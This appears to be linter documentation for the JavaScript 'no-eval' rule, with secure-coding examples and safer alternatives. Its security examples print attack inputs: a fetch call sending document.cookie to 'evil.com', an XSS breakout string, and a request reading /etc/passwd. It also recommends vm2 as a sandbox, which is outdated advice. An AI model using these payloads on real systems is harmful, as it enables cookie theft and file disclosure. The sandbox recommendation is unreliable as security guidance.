Skip to main content

no-eval

JavaScript’s eval() function is potentially dangerous and often misused. It can open programs to injection attacks and is slow.
Rule Type: Suggestion
Fixable: No

Why This Rule Exists

  • Security: eval() on untrusted input can execute malicious code
  • Performance: Code in eval() can’t be optimized
  • Debugging: Harder to debug code in eval()
  • Better alternatives: Almost always unnecessary

Rule Details

This rule warns whenever eval() is used.

Examples

Incorrect Code

const obj = { x: "foo" };
const key = "x";
const value = eval("obj." + key);

(0, eval)("const a = 0");

const foo = eval;
foo("const a = 0");

this.eval("const a = 0");
window.eval("const a = 0");
global.eval("const a = 0");

Correct Code

const obj = { x: "foo" };
const key = "x";
const value = obj[key];

class A {
    foo() {
        // This is a user-defined method, not global eval
        this.eval("const a = 0");
    }
    eval() {}
}

Why eval() Is Dangerous

Code Injection

eval() with user input can execute arbitrary code.
// DANGEROUS!
function calculate(userInput) {
    return eval(userInput);
}

// User types: "fetch('evil.com?data=' + document.cookie)"
calculate(userInput); // Sends cookies to attacker!

Performance

// Slow: Can't be optimized
for (let i = 0; i < 1000; i++) {
    eval('doSomething()');
}

// Fast: Can be optimized
for (let i = 0; i < 1000; i++) {
    doSomething();
}

Common Use Cases and Alternatives

Dynamic Property Access

// Wrong
const value = eval("obj." + propName);

// Right
const value = obj[propName];

JSON Parsing

// Wrong (and dangerous!)
const data = eval("(" + jsonString + ")");

// Right
const data = JSON.parse(jsonString);

Dynamic Code Generation

// Wrong
const fn = eval("(function(x) { return x * 2; })");

// Right
const fn = new Function('x', 'return x * 2');
// Or better: just write the function
const fn = (x) => x * 2;

Template Strings

// Wrong
const result = eval(`${a} + ${b}`);

// Right
const result = a + b;

Computed Property Names

// Wrong
eval(`obj.${dynamicProp} = value`);

// Right
obj[dynamicProp] = value;

Configuration Objects

// Wrong - evaluating config
const config = eval(configString);

// Right - parse as JSON
const config = JSON.parse(configString);

// Or use a safe parser
import yaml from 'js-yaml';
const config = yaml.load(configString);

Safe Alternatives

Sandboxed Evaluation

If you must evaluate code, use a sandbox:
import { VM } from 'vm2';

const vm = new VM({
    timeout: 1000,
    sandbox: {
        allowedFunction: () => 'safe'
    }
});

const result = vm.run(untrustedCode);

Expression Evaluators

import { evaluate } from 'mathjs';

// Safe math expression evaluation
const result = evaluate('2 * 3 + 4'); // 10

Template Engines

// Instead of eval for templating
const template = "Hello ${name}";
const result = eval("`" + template + "`");

// Use a template library
import Handlebars from 'handlebars';
const template = Handlebars.compile("Hello {{name}}");
const result = template({ name: 'World' });

Options

allowIndirect

Type: boolean
Default: false
Allow indirect calls to eval() (less dangerous than direct calls).
{
  "rules": {
    "no-eval": ["error", { "allowIndirect": true }]
  }
}
With allowIndirect: true
// Still incorrect: direct eval
eval("const a = 0");

// Now allowed: indirect eval
(0, eval)("const a = 0");
const foo = eval;
foo("const a = 0");
window.eval("const a = 0");
Indirect eval is slightly less dangerous because it runs in global scope, not local scope.

Security Examples

XSS Attack

// Vulnerable
function displayUserName(name) {
    eval(`document.title = "Hello ${name}"`);
}

// Attacker provides: "; alert('XSS'); //
// Results in: eval("document.title = \"Hello \"; alert('XSS'); //\"");

// Safe
function displayUserName(name) {
    document.title = `Hello ${name}`;
}

Data Theft

// Vulnerable
app.get('/calculate', (req, res) => {
    const result = eval(req.query.expression);
    res.json({ result });
});

// Attacker requests: /calculate?expression=require('fs').readFileSync('/etc/passwd')

// Safe
import { evaluate } from 'safe-eval-library';
app.get('/calculate', (req, res) => {
    const result = evaluate(req.query.expression);
    res.json({ result });
});

When Not to Use It

Rarely appropriate to disable this rule. Consider it only if:
  1. You’re building a code evaluation tool (IDE, REPL)
  2. You have strict input validation and sandboxing
  3. You’re using eval in a build tool (not runtime)
Even then, look for safer alternatives first.

Temporary Disable

If absolutely necessary:
/* eslint-disable no-eval */
const result = eval(trustedCode);
/* eslint-enable no-eval */
But add a comment explaining why it’s necessary and safe.

Further Reading